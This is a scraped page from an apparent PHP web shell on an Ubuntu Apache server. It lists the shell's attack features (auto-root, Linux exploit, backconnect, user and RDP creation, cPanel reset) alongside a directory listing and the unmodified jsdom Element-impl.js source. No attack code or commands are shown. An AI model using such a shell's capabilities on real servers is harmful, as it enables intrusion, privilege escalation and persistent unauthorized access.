Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
jsdom /
lib /
jsdom /
living /
nodes /
[ HOME SHELL ]
Name
Size
Permission
Action
CDATASection-impl.js
365
B
-rw-r--r--
CharacterData-impl.js
3.46
KB
-rw-r--r--
ChildNode-impl.js
1.98
KB
-rw-r--r--
Comment-impl.js
531
B
-rw-r--r--
DOMImplementation-impl.js
3.78
KB
-rw-r--r--
DOMStringMap-impl.js
1.95
KB
-rw-r--r--
DOMTokenList-impl.js
4.24
KB
-rw-r--r--
Document-impl.js
27.82
KB
-rw-r--r--
DocumentFragment-impl.js
1.36
KB
-rw-r--r--
DocumentOrShadowRoot-impl.js
731
B
-rw-r--r--
DocumentType-impl.js
653
B
-rw-r--r--
Element-impl.js
16.44
KB
-rw-r--r--
ElementCSSInlineStyle-impl.js
570
B
-rw-r--r--
ElementContentEditable-impl.js
120
B
-rw-r--r--
GlobalEventHandlers-impl.js
2.4
KB
-rw-r--r--
HTMLAnchorElement-impl.js
1.22
KB
-rw-r--r--
HTMLAreaElement-impl.js
1.12
KB
-rw-r--r--
HTMLAudioElement-impl.js
218
B
-rw-r--r--
HTMLBRElement-impl.js
197
B
-rw-r--r--
HTMLBaseElement-impl.js
715
B
-rw-r--r--
HTMLBodyElement-impl.js
490
B
-rw-r--r--
HTMLButtonElement-impl.js
1.91
KB
-rw-r--r--
HTMLCanvasElement-impl.js
3.78
KB
-rw-r--r--
HTMLCollection-impl.js
2.21
KB
-rw-r--r--
HTMLDListElement-impl.js
203
B
-rw-r--r--
HTMLDataElement-impl.js
201
B
-rw-r--r--
HTMLDataListElement-impl.js
597
B
-rw-r--r--
HTMLDetailsElement-impl.js
923
B
-rw-r--r--
HTMLDialogElement-impl.js
205
B
-rw-r--r--
HTMLDirectoryElement-impl.js
211
B
-rw-r--r--
HTMLDivElement-impl.js
199
B
-rw-r--r--
HTMLElement-impl.js
4.4
KB
-rw-r--r--
HTMLEmbedElement-impl.js
201
B
-rw-r--r--
HTMLFieldSetElement-impl.js
1.22
KB
-rw-r--r--
HTMLFontElement-impl.js
201
B
-rw-r--r--
HTMLFormElement-impl.js
6.28
KB
-rw-r--r--
HTMLFrameElement-impl.js
7.49
KB
-rw-r--r--
HTMLFrameSetElement-impl.js
502
B
-rw-r--r--
HTMLHRElement-impl.js
197
B
-rw-r--r--
HTMLHeadElement-impl.js
201
B
-rw-r--r--
HTMLHeadingElement-impl.js
207
B
-rw-r--r--
HTMLHtmlElement-impl.js
201
B
-rw-r--r--
HTMLHyperlinkElementUtils-impl...
7.74
KB
-rw-r--r--
HTMLIFrameElement-impl.js
220
B
-rw-r--r--
HTMLImageElement-impl.js
3.58
KB
-rw-r--r--
HTMLInputElement-impl.js
36.28
KB
-rw-r--r--
HTMLLIElement-impl.js
197
B
-rw-r--r--
HTMLLabelElement-impl.js
2.68
KB
-rw-r--r--
HTMLLegendElement-impl.js
516
B
-rw-r--r--
HTMLLinkElement-impl.js
2.67
KB
-rw-r--r--
HTMLMapElement-impl.js
265
B
-rw-r--r--
HTMLMarqueeElement-impl.js
207
B
-rw-r--r--
HTMLMediaElement-impl.js
3.11
KB
-rw-r--r--
HTMLMenuElement-impl.js
201
B
-rw-r--r--
HTMLMetaElement-impl.js
201
B
-rw-r--r--
HTMLMeterElement-impl.js
4.26
KB
-rw-r--r--
HTMLModElement-impl.js
198
B
-rw-r--r--
HTMLOListElement-impl.js
426
B
-rw-r--r--
HTMLObjectElement-impl.js
685
B
-rw-r--r--
HTMLOptGroupElement-impl.js
209
B
-rw-r--r--
HTMLOptionElement-impl.js
3.6
KB
-rw-r--r--
HTMLOptionsCollection-impl.js
3.34
KB
-rw-r--r--
HTMLOrSVGElement-impl.js
3.13
KB
-rw-r--r--
HTMLOutputElement-impl.js
1.98
KB
-rw-r--r--
HTMLParagraphElement-impl.js
211
B
-rw-r--r--
HTMLParamElement-impl.js
203
B
-rw-r--r--
HTMLPictureElement-impl.js
207
B
-rw-r--r--
HTMLPreElement-impl.js
199
B
-rw-r--r--
HTMLProgressElement-impl.js
1.74
KB
-rw-r--r--
HTMLQuoteElement-impl.js
202
B
-rw-r--r--
HTMLScriptElement-impl.js
7.37
KB
-rw-r--r--
HTMLSelectElement-impl.js
7.96
KB
-rw-r--r--
HTMLSlotElement-impl.js
1.5
KB
-rw-r--r--
HTMLSourceElement-impl.js
203
B
-rw-r--r--
HTMLSpanElement-impl.js
201
B
-rw-r--r--
HTMLStyleElement-impl.js
2.05
KB
-rw-r--r--
HTMLTableCaptionElement-impl.j...
217
B
-rw-r--r--
HTMLTableCellElement-impl.js
1.62
KB
-rw-r--r--
HTMLTableColElement-impl.js
209
B
-rw-r--r--
HTMLTableElement-impl.js
6.01
KB
-rw-r--r--
HTMLTableRowElement-impl.js
2.35
KB
-rw-r--r--
HTMLTableSectionElement-impl.j...
1.6
KB
-rw-r--r--
HTMLTemplateElement-impl.js
1.99
KB
-rw-r--r--
HTMLTextAreaElement-impl.js
7.06
KB
-rw-r--r--
HTMLTimeElement-impl.js
201
B
-rw-r--r--
HTMLTitleElement-impl.js
369
B
-rw-r--r--
HTMLTrackElement-impl.js
242
B
-rw-r--r--
HTMLUListElement-impl.js
203
B
-rw-r--r--
HTMLUnknownElement-impl.js
207
B
-rw-r--r--
HTMLVideoElement-impl.js
298
B
-rw-r--r--
LinkStyle-impl.js
55
B
-rw-r--r--
Node-impl.js
33.71
KB
-rw-r--r--
NodeList-impl.js
1.03
KB
-rw-r--r--
NonDocumentTypeChildNode-impl....
675
B
-rw-r--r--
NonElementParentNode-impl.js
262
B
-rw-r--r--
ParentNode-impl.js
2.55
KB
-rw-r--r--
ProcessingInstruction-impl.js
506
B
-rw-r--r--
SVGElement-impl.js
2.03
KB
-rw-r--r--
SVGGraphicsElement-impl.js
494
B
-rw-r--r--
SVGSVGElement-impl.js
1.2
KB
-rw-r--r--
SVGTests-impl.js
1.13
KB
-rw-r--r--
SVGTitleElement-impl.js
198
B
-rw-r--r--
ShadowRoot-impl.js
973
B
-rw-r--r--
Slotable-impl.js
947
B
-rw-r--r--
Text-impl.js
2.84
KB
-rw-r--r--
WindowEventHandlers-impl.js
1.06
KB
-rw-r--r--
XMLDocument-impl.js
151
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Element-impl.js
"use strict"; const { addNwsapi } = require("../helpers/selectors"); const { HTML_NS } = require("../helpers/namespaces"); const { mixin, memoizeQuery } = require("../../utils"); const idlUtils = require("../generated/utils"); const NodeImpl = require("./Node-impl").implementation; const ParentNodeImpl = require("./ParentNode-impl").implementation; const ChildNodeImpl = require("./ChildNode-impl").implementation; const attributes = require("../attributes"); const namedPropertiesWindow = require("../named-properties-window"); const NODE_TYPE = require("../node-type"); const { parseFragment } = require("../../browser/parser"); const InnerHTMLImpl = require("../domparsing/InnerHTML-impl").implementation; const { fragmentSerialization } = require("../domparsing/serialization"); const { domSymbolTree } = require("../helpers/internal-constants"); const DOMException = require("domexception/webidl2js-wrapper"); const DOMTokenList = require("../generated/DOMTokenList"); const NamedNodeMap = require("../generated/NamedNodeMap"); const validateNames = require("../helpers/validate-names"); const { asciiLowercase, asciiUppercase } = require("../helpers/strings"); const { listOfElementsWithQualifiedName, listOfElementsWithNamespaceAndLocalName, listOfElementsWithClassNames } = require("../node"); const SlotableMixinImpl = require("./Slotable-impl").implementation; const NonDocumentTypeChildNode = require("./NonDocumentTypeChildNode-impl").implementation; const ShadowRoot = require("../generated/ShadowRoot"); const Text = require("../generated/Text"); const { isValidHostElementName } = require("../helpers/shadow-dom"); const { isValidCustomElementName, lookupCEDefinition } = require("../helpers/custom-elements"); function attachId(id, elm, doc) { if (id && elm && doc) { if (!doc._ids[id]) { doc._ids[id] = []; } doc._ids[id].push(elm); } } function detachId(id, elm, doc) { if (id && elm && doc) { if (doc._ids && doc._ids[id]) { const elms = doc._ids[id]; for (let i = 0; i < elms.length; i++) { if (elms[i] === elm) { elms.splice(i, 1); --i; } } if (elms.length === 0) { delete doc._ids[id]; } } } } class ElementImpl extends NodeImpl { constructor(globalObject, args, privateData) { super(globalObject, args, privateData); this._initSlotableMixin(); this._namespaceURI = privateData.namespace; this._prefix = privateData.prefix; this._localName = privateData.localName; this._ceState = privateData.ceState; this._ceDefinition = privateData.ceDefinition; this._isValue = privateData.isValue; this._shadowRoot = null; this._ceReactionQueue = []; this.nodeType = NODE_TYPE.ELEMENT_NODE; this.scrollTop = 0; this.scrollLeft = 0; this._attributeList = []; // Used for caching. this._attributesByNameMap = new Map(); this._attributes = NamedNodeMap.createImpl(this._globalObject, [], { element: this }); this._cachedTagName = null; } _attach() { namedPropertiesWindow.nodeAttachedToDocument(this); const id = this.getAttributeNS(null, "id"); if (id) { attachId(id, this, this._ownerDocument); } // If the element is initially in an HTML document but is later // inserted in another type of document, the tagName should no // longer be uppercase. Therefore the cached tagName is reset. this._cachedTagName = null; super._attach(); } _detach() { super._detach(); namedPropertiesWindow.nodeDetachedFromDocument(this); const id = this.getAttributeNS(null, "id"); if (id) { detachId(id, this, this._ownerDocument); } } _attrModified(name, value, oldValue) { this._modified(); namedPropertiesWindow.elementAttributeModified(this, name, value, oldValue); if (name === "id" && this._attached) { const doc = this._ownerDocument; detachId(oldValue, this, doc); attachId(value, this, doc); } // update classList if (name === "class" && this._classList !== undefined) { this._classList.attrModified(); } this._attrModifiedSlotableMixin(name, value, oldValue); } get namespaceURI() { return this._namespaceURI; } get prefix() { return this._prefix; } get localName() { return this._localName; } get _qualifiedName() { return this._prefix !== null ? this._prefix + ":" + this._localName : this._localName; } get tagName() { // This getter can be a hotpath in getComputedStyle. // All these are invariants during the instance lifetime so we can safely cache the computed tagName. // We could create it during construction but since we already identified this as potentially slow we do it lazily. if (this._cachedTagName === null) { if (this.namespaceURI === HTML_NS && this._ownerDocument._parsingMode === "html") { this._cachedTagName = asciiUppercase(this._qualifiedName); } else { this._cachedTagName = this._qualifiedName; } } return this._cachedTagName; } get attributes() { return this._attributes; } // https://w3c.github.io/DOM-Parsing/#dom-element-outerhtml get outerHTML() { // TODO: maybe parse5 can give us a hook where it serializes the node itself too: // https://github.com/inikulin/parse5/issues/230 // Alternatively, if we can create a virtual node in domSymbolTree, that'd also work. // It's currently prevented by the fact that a node can't be duplicated in the same tree. // Then we could get rid of all the code for childNodesForSerializing. return fragmentSerialization({ childNodesForSerializing: [this], _ownerDocument: this._ownerDocument }, { requireWellFormed: true, globalObject: this._globalObject }); } set outerHTML(markup) { let parent = domSymbolTree.parent(this); const document = this._ownerDocument; if (!parent) { return; } if (parent.nodeType === NODE_TYPE.DOCUMENT_NODE) { throw DOMException.create(this._globalObject, [ "Modifications are not allowed for this document", "NoModificationAllowedError" ]); } if (parent.nodeType === NODE_TYPE.DOCUMENT_FRAGMENT_NODE) { parent = document.createElementNS(HTML_NS, "body"); } const fragment = parseFragment(markup, parent); const contextObjectParent = domSymbolTree.parent(this); contextObjectParent._replace(fragment, this); } get classList() { if (this._classList === undefined) { this._classList = DOMTokenList.createImpl(this._globalObject, [], { element: this, attributeLocalName: "class" }); } return this._classList; } hasAttributes() { return attributes.hasAttributes(this); } getAttributeNames() { return attributes.attributeNames(this); } getAttribute(name) { const attr = attributes.getAttributeByName(this, name); if (!attr) { return null; } return attr._value; } getAttributeNS(namespace, localName) { const attr = attributes.getAttributeByNameNS(this, namespace, localName); if (!attr) { return null; } return attr._value; } setAttribute(name, value) { validateNames.name(this._globalObject, name); if (this._namespaceURI === HTML_NS && this._ownerDocument._parsingMode === "html") { name = asciiLowercase(name); } const attribute = attributes.getAttributeByName(this, name); if (attribute === null) { const newAttr = this._ownerDocument._createAttribute({ localName: name, value }); attributes.appendAttribute(this, newAttr); return; } attributes.changeAttribute(this, attribute, value); } setAttributeNS(namespace, name, value) { const extracted = validateNames.validateAndExtract(this._globalObject, namespace, name); // Because of widespread use of this method internally, e.g. to manually implement attribute/content reflection, we // centralize the conversion to a string here, so that all call sites don't have to do it. value = `${value}`; attributes.setAttributeValue(this, extracted.localName, value, extracted.prefix, extracted.namespace); } removeAttribute(name) { attributes.removeAttributeByName(this, name); } removeAttributeNS(namespace, localName) { attributes.removeAttributeByNameNS(this, namespace, localName); } toggleAttribute(qualifiedName, force) { validateNames.name(this._globalObject, qualifiedName); if (this._namespaceURI === HTML_NS && this._ownerDocument._parsingMode === "html") { qualifiedName = asciiLowercase(qualifiedName); } const attribute = attributes.getAttributeByName(this, qualifiedName); if (attribute === null) { if (force === undefined || force === true) { const newAttr = this._ownerDocument._createAttribute({ localName: qualifiedName, value: "" }); attributes.appendAttribute(this, newAttr); return true; } return false; } if (force === undefined || force === false) { attributes.removeAttributeByName(this, qualifiedName); return false; } return true; } hasAttribute(name) { if (this._namespaceURI === HTML_NS && this._ownerDocument._parsingMode === "html") { name = asciiLowercase(name); } return attributes.hasAttributeByName(this, name); } hasAttributeNS(namespace, localName) { if (namespace === "") { namespace = null; } return attributes.hasAttributeByNameNS(this, namespace, localName); } getAttributeNode(name) { return attributes.getAttributeByName(this, name); } getAttributeNodeNS(namespace, localName) { return attributes.getAttributeByNameNS(this, namespace, localName); } setAttributeNode(attr) { // eslint-disable-next-line no-restricted-properties return attributes.setAttribute(this, attr); } setAttributeNodeNS(attr) { // eslint-disable-next-line no-restricted-properties return attributes.setAttribute(this, attr); } removeAttributeNode(attr) { // eslint-disable-next-line no-restricted-properties if (!attributes.hasAttribute(this, attr)) { throw DOMException.create(this._globalObject, [ "Tried to remove an attribute that was not present", "NotFoundError" ]); } // eslint-disable-next-line no-restricted-properties attributes.removeAttribute(this, attr); return attr; } getBoundingClientRect() { return { x: 0, y: 0, bottom: 0, height: 0, left: 0, right: 0, top: 0, width: 0 }; } getClientRects() { return []; } get scrollWidth() { return 0; } get scrollHeight() { return 0; } get clientTop() { return 0; } get clientLeft() { return 0; } get clientWidth() { return 0; } get clientHeight() { return 0; } // https://dom.spec.whatwg.org/#dom-element-attachshadow attachShadow(init) { const { _ownerDocument, _namespaceURI, _localName, _isValue } = this; if (this.namespaceURI !== HTML_NS) { throw DOMException.create(this._globalObject, [ "This element does not support attachShadow. This element is not part of the HTML namespace.", "NotSupportedError" ]); } if (!isValidHostElementName(_localName) && !isValidCustomElementName(_localName)) { const message = "This element does not support attachShadow. This element is not a custom element nor " + "a standard element supporting a shadow root."; throw DOMException.create(this._globalObject, [message, "NotSupportedError"]); } if (isValidCustomElementName(_localName) || _isValue) { const definition = lookupCEDefinition(_ownerDocument, _namespaceURI, _localName, _isValue); if (definition && definition.disableShadow) { throw DOMException.create(this._globalObject, [ "Shadow root cannot be create on a custom element with disabled shadow", "NotSupportedError" ]); } } if (this._shadowRoot !== null) { throw DOMException.create(this._globalObject, [ "Shadow root cannot be created on a host which already hosts a shadow tree.", "NotSupportedError" ]); } const shadow = ShadowRoot.createImpl(this._globalObject, [], { ownerDocument: this.ownerDocument, mode: init.mode, host: this }); this._shadowRoot = shadow; return shadow; } // https://dom.spec.whatwg.org/#dom-element-shadowroot get shadowRoot() { const shadow = this._shadowRoot; if (shadow === null || shadow.mode === "closed") { return null; } return shadow; } // https://dom.spec.whatwg.org/#insert-adjacent _insertAdjacent(element, where, node) { where = asciiLowercase(where); if (where === "beforebegin") { if (element.parentNode === null) { return null; } return element.parentNode._preInsert(node, element); } if (where === "afterbegin") { return element._preInsert(node, element.firstChild); } if (where === "beforeend") { return element._preInsert(node, null); } if (where === "afterend") { if (element.parentNode === null) { return null; } return element.parentNode._preInsert(node, element.nextSibling); } throw DOMException.create(this._globalObject, [ 'Must provide one of "beforebegin", "afterbegin", "beforeend", or "afterend".', "SyntaxError" ]); } insertAdjacentElement(where, element) { return this._insertAdjacent(this, where, element); } insertAdjacentText(where, data) { const text = Text.createImpl(this._globalObject, [], { data, ownerDocument: this._ownerDocument }); this._insertAdjacent(this, where, text); } // https://w3c.github.io/DOM-Parsing/#dom-element-insertadjacenthtml insertAdjacentHTML(position, text) { position = asciiLowercase(position); let context; switch (position) { case "beforebegin": case "afterend": { context = this.parentNode; if (context === null || context.nodeType === NODE_TYPE.DOCUMENT_NODE) { throw DOMException.create(this._globalObject, [ "Cannot insert HTML adjacent to parent-less nodes or children of document nodes.", "NoModificationAllowedError" ]); } break; } case "afterbegin": case "beforeend": { context = this; break; } default: { throw DOMException.create(this._globalObject, [ 'Must provide one of "beforebegin", "afterbegin", "beforeend", or "afterend".', "SyntaxError" ]); } } if ( context.nodeType !== NODE_TYPE.ELEMENT_NODE || ( context._ownerDocument._parsingMode === "html" && context._localName === "html" && context._namespaceURI === HTML_NS ) ) { context = context._ownerDocument.createElement("body"); } const fragment = parseFragment(text, context); switch (position) { case "beforebegin": { this.parentNode._insert(fragment, this); break; } case "afterbegin": { this._insert(fragment, this.firstChild); break; } case "beforeend": { this._append(fragment); break; } case "afterend": { this.parentNode._insert(fragment, this.nextSibling); break; } } } closest(selectors) { const matcher = addNwsapi(this); return matcher.closest(selectors, idlUtils.wrapperForImpl(this)); } } mixin(ElementImpl.prototype, NonDocumentTypeChildNode.prototype); mixin(ElementImpl.prototype, ParentNodeImpl.prototype); mixin(ElementImpl.prototype, ChildNodeImpl.prototype); mixin(ElementImpl.prototype, SlotableMixinImpl.prototype); mixin(ElementImpl.prototype, InnerHTMLImpl.prototype); ElementImpl.prototype.getElementsByTagName = memoizeQuery(function (qualifiedName) { return listOfElementsWithQualifiedName(qualifiedName, this); }); ElementImpl.prototype.getElementsByTagNameNS = memoizeQuery(function (namespace, localName) { return listOfElementsWithNamespaceAndLocalName(namespace, localName, this); }); ElementImpl.prototype.getElementsByClassName = memoizeQuery(function (classNames) { return listOfElementsWithClassNames(classNames, this); }); ElementImpl.prototype.matches = function (selectors) { const matcher = addNwsapi(this); return matcher.match(selectors, idlUtils.wrapperForImpl(this)); }; ElementImpl.prototype.webkitMatchesSelector = ElementImpl.prototype.matches; module.exports = { implementation: ElementImpl };
Close